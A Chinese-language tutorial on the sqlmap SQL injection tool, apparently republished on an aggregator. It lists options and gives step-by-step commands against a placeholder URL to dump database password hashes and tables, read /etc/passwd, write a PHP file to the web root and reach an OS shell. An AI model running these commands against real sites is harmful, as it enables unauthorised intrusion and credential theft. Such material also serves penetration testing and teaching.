SQLmap工具使用

news2025/4/6 17:17:58

1. sqlmap介绍

sqlmap是一款自动化的SQL注入工具,用于检测和利用web应用程序中的SQL注入漏洞。不需要我们进行手注,当我们输入url地址后,会自动进行注入指令并将payload返回显示。

  1. 在kali中自带。
  2. 在本机中需要下载,在相应的路径使用命令行打开,搭配python使用,利用sqlmap.py 脚本运行。

1.1. sqlmap目录

1、doc 目录:保护 sqlmap 的简要说明,具体使用说明,作者信息等。

2、extra 目录:包含 sqlmap 的额外功能,如发出声响、允许 cmd、安全执行等。

3、lib 目录:sqlmap 核心目录。

4、plugins 目录:包含了 sqlmap 目前支持的 13 种数据库信息和数据库通用事项。

5、procs 目录:包含了 mssql、mysql、oracle、postgresql 的触发程序。

6、shell 目录:包含了注入成功后的 9 种 shell 远程命令执行。

7、tamper 目录:包含了 waf 绕过脚本。

8、thirdparty 目录:包含了第三方插件,例如优化,保持连接,颜色。

9、txt 目录:包含了表名字典,列名字典,UA 字典等。

10、udf 目录:存放攻击载荷。 11、waf 目录:存放 waf 特征判断脚本。12、xml 目录:存放多种数据库注入检测的 payload 等信息

1.2. sqlmap常用指令

-u #注入点

-r #保存数据包到文件中进行注入

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p "page,id") -D "" #指定数据库名

-T "" #指定表名

-C "" #指定字段

-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢 复:-s "xx.log" --resume)

--level=(1-5) #要执行的测试水平等级,默认为 1

--risk=(0-3) #测试执行的风险等级,默认为 1

--time-sec=(2,5) #延迟响应,默认为 5

--data #通过 POST 发送数据

--columns #列出字段

--current-user #获取当前用户名称

--current-db #获取当前数据库名称

#列数据库所有用户

--passwords #数据库用户所有密码

--privileges #查看用户权限(--privileges -U root)

-U #指定数据库用户

--dbs #列出所有数据库

--tables -D "" #列出指定数据库中的表

--columns -T "user" -D "mysql" #列出 mysql 数据库中的 user 表的所有字段

--dump-all #列出所有数据库所有表

--exclude-sysdbs #只列出用户自己新建的数据库和表

--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)

--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的 2-4 字段的数据

--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

--os #指定系统(Linux,Windows)

-v #详细的等级(0-6)

0:只显示 Python 的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示 HTTP 请求。

5:显示 HTTP 响应头。

6:显示 HTTP 响应页面的内容

--privileges #查看权限

--is-dba #是否是数据库管理员

#枚举数据库用户角色

--udf-inject #导入用户自定义函数(获取系统权限)

--union-check #是否支持 union 注入

--union-cols #union 查询表记录

--union-test #union 语句测试

--union-use #采用 union 注入

--union-tech orderby #union 配合 order by

--data "" #POST 方式提交数据(--data "page=1&id=2")

--cookie "用;号分开" #cookie 注入(--cookies=” PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

--referer "" #使用 referer 欺骗(--referer "http://www.baidu.com")

--user-agent "" #自定义 user-agent

--proxy "http://127.0.0.1:8118" #代理注入

--string="" #指定关键词,字符串匹配.

--threads #采用多线程(--threads 3)

--sql-shell #执行指定 sql 命令

--sql-query #执行指定的 sql 语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )

1.2.1. 注意

当我们跑第一次时,所用时间较长,当我们跑第二次的时候刷的一下就出来了,这是因为在第一次跑完后会有缓存

如果当我们想要检查或者复测第二遍时,一定要刷新。

--purge

1.3. 工具注入流程

  1. 读取当前数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 使用指令后如下图所示

  1. 判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 sqlmap -u

http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2

sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2

8.file-read 读取 web 文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

9.file-write 写入文件到

web sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file

1.4. Get 方法注入

进入 sqlmap 文件夹运行 cmd 命令:python sqlmap.py -u url

--is-dba 当前用户权限(是否为 root 权限,mssql 下最高权限为 sa)

--dbs 所有数据库

--current-db 网站当前数据库

--users 所有数据库用户

--current-user 当前数据库用户

--random-agent 构造随机 user-agent

--passwords 数据库密码

--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理

--time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒

--threads= 使用多少线程

1.5. post 型注入

先利用 bp 去抓一个包,直接发送包里面的内容保存到一个文件里面,然后用-r 参数去 实现它就好,如果保存的数据包文件和 sqlmap.py 的脚本在统一路径下,则可以不用 加路径,直接跟文件名字就好,例如:python sqlmap.py -r 1.txt --dbs 如果不想用-p 参数指定注入点,也可以在保存数据包的我呢见中在参数后面加*,脚本会自动识别,

例如 id=1,id 参数存在注入,可以 id=1*,加上*后保存文件即可。

python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname(注入点) --dbs(爆所有库)

python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname -D security --tables(爆指定数 据库的表)

python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname -D security -T user -- columns(爆列)

python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname -D security -T user -C “username,password” --dump(爆数据)

2. --os-shell(工具)

2.1. 利用条件(MySQL)

  1. 高权限:要求为数据库的DBA(最高管理),使用--is-dba查看当前网站连接的数据库的账号
  2. 知道绝对路径:必须知道,不然无法确定--os-shell 上传文件的位置

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2329348.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenCV 实现对形似宝马标的黄黑四象限标定位

文章目录 功能背景代码效果 功能 实现对形似宝马标的黄黑四象限光学识别标定位 背景 大学同学遇到了这个场景,琢磨了下,以备不时之需。 代码 所用opencv版本:4.12 numpy2.2.4 scikit_learn1.6.1import time import cv2 import numpy as…

2025 年 4 月补丁星期二预测:微软将推出更多 AI 安全功能

微软正在继续构建其 AI 网络安全战略,并于本月宣布在 Microsoft Security Copilot 中引入新代理。 他们引入了用于网络钓鱼分类的代理、用于数据丢失预防和内部风险管理的警报分类、条件访问优化、漏洞修复和威胁情报简报。 这些代理的目标是不断从这些不同学科中…

从吉卜力漫画到艺术创造:GPT-4o多种风格绘图Prompt大全

在3月底,GPT-4o掀起了一阵吉卜力绘图浪潮,大家纷纷输入一张图片,让4o模型进行风格化迁移,其中吉卜力风格的漫画在社交媒体上最为火热。在大家争议4o的训练数据是否侵权和4o背后的技术原理的时候,我们先来玩一玩&#x…

16.1Linux自带的LED灯驱动实验(知识)_csdn

前面我们都是自己编写 LED 灯驱动,其实像 LED 灯这样非常基础的设备驱动, Linux 内核已经集成了。 Linux 内核的 LED 灯驱动采用 platform 框架,因此我们只需要按照要求在设备树文件中添加相应的 LED 节点即可,本章我们就来学习如…

【vLLM】使用 vLLM 对自定义实现模型进行高速推理

推荐超级课程: 本地离线DeepSeek AI方案部署实战教程【完全版】Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战目录 介绍什么是 vLLM?处理 vLLM 中的多模态模型实现独特的视频生成模型转换为 vLLM 模型的策略准备输入标记序列如何添加多个多模式输入如…

SQL Server 数据库实验报告

​​​​​​​ 1.1 实验题目:索引和数据完整性的使用 1.2 实验目的: (1)掌握SQL Server的资源管理器界面应用; (2)掌握索引的使用; (3)掌握数据完整性的…

在响应式网页的开发中使用固定布局、流式布局、弹性布局哪种更好

一、首先看下固定布局与流体布局的区别 (一)固定布局 固定布局的网页有一个固定宽度的容器,内部组件宽度可以是固定像素值或百分比。其容器元素不会移动,无论访客屏幕分辨率如何,看到的网页宽度都相同。现代网页设计…

代码随想录算法训练营第三十八天 | 322.零钱兑换 279.完全平方数 139.单词拆分

322. 零钱兑换 题目链接:322. 零钱兑换 - 力扣(LeetCode) 文章讲解:代码随想录 视频讲解:动态规划之完全背包,装满背包最少的物品件数是多少?| LeetCode:322.零钱兑换_哔哩哔哩_b…

linux提取 Suid提权入门 Sudo提权入门

前言 suid基本使用 Suid 是什么命令? suid 是管理员用户(root)可以对命令文件进行赋权 让其在低权限用户下下也可以保持root权限的执行能力 我现在是管理员我 使用网站用户查找信息的时候总是被阻拦没权限 查找的内容不完整 这个使用我…

Talib库安装教程

1. 打开 https://github.com/cgohlke/talib-build 2. 点击 Releases 3. 选择对应版本下载(本人电脑win-amd64,python版本3.12) 4. 安装该库(进入该文件路径) pip install ta_lib-0.6.3-cp312-cp312-win_amd64.whl 5…

LeetCode 249 解法揭秘:如何把“abc”和“bcd”分到一组?

文章目录 摘要描述痛点分析 & 实际应用场景Swift 题解答案可运行 Demo 代码题解代码分析差值是怎么来的?为什么加 26 再 %26? 示例测试及结果时间复杂度分析空间复杂度分析总结 摘要 你有没有遇到过这种情况:有一堆字符串,看…

Python数据可视化-第4章-图表样式的美化

环境 开发工具 VSCode库的版本 numpy1.26.4 matplotlib3.10.1 ipympl0.9.7教材 本书为《Python数据可视化》一书的配套内容,本章为第4章 图表样式的美化 本章主要介绍了图表样式的美化,包括图表样式概述、使用颜色、选择线型、添加数据标记、设置字体…

ROS Master多设备连接

Bash Shell Shell是位于用户与操作系统内核之间的桥梁,当用户在终端敲入命令后,这些输入首先会进入内核中的tty子系统,TTY子系统负责捕获并处理终端的输入输出流,确保数据正确无误的在终端和系统内核之中。Shell在此过程不仅仅是…

系统思考:思考的快与慢

在做重大决策之前,什么原因一定要补充碳水化合物?人类的大脑其实有两套运作模式:系统1:自动驾驶模式,依赖直觉,反应快但易出错;系统2:手动驾驶模式,理性严谨,…

音视频入门基础:RTP专题(21)——使用Wireshark分析海康网络摄像机RTSP的RTP流

一、引言 使用vlc等播放器可以播放海康网络摄像机的RTSP流: 网络摄像机的RTSP流中,RTSP主要用于控制媒体流的传输,如播放、暂停、停止等操作。RTSP本身并不用于转送媒体流数据,而是会通过PLAY方法使用RTP来传输实际的音视频数据。…

04.游戏开发-unity编辑器详细-工具栏、菜单栏、工作识图详解

04.游戏开发,unity编辑器详细-工具栏、菜单栏、工作识图详解 提示:帮帮志会陆续更新非常多的IT技术知识,希望分享的内容对您有用。本章分享的是Python基础语法。前后每一小节的内容是存在的有:学习and理解的关联性,希…

QGIS中第三方POI坐标偏移的快速校正-百度POI

1.百度POI: name,lng,lat,address 龙记黄焖鸡米饭(共享区店),121.908315,30.886636,南汇新城镇沪城环路699弄117号(A1区110室) 好福记黄焖鸡(御桥路店),121.571409,31.162292,沪南路2419弄26号1层B间 御品黄焖鸡米饭(安亭店),121.160322,31.305977,安亭镇新源路792号…

Pycharm 启动时候一直扫描索引/更新索引 Update index/Scanning files to index

多个项目共用一个虚拟环境,有助于加快PyCharm 启动吗 chatgpt 4o认为很有帮助,gemini 2.5pro认为没鸟用,我更认可gemini的观点。不知道他们谁在一本正经胡说八道。 -------- 打开pycharm的时候,下方的进度条一直显示在扫描文件…

Vanna:用检索增强生成(RAG)技术革新自然语言转SQL

引言:为什么我们需要更智能的SQL生成? 在数据驱动的业务环境中,SQL 仍然是数据分析的核心工具。然而,编写正确的 SQL 查询需要专业知识,而大型语言模型(LLM)直接生成的 SQL 往往存在**幻觉&…

CKPT文件是什么?

检查点(Checkpoint,简称ckpt)是一种用于记录系统状态或数据变化的技术,广泛应用于数据库管理、机器学习模型训练、并行计算以及网络安全等领域。以下将详细介绍不同领域中ckpt检查点的定义、功能和应用场景。 数据库中的ckpt检查点…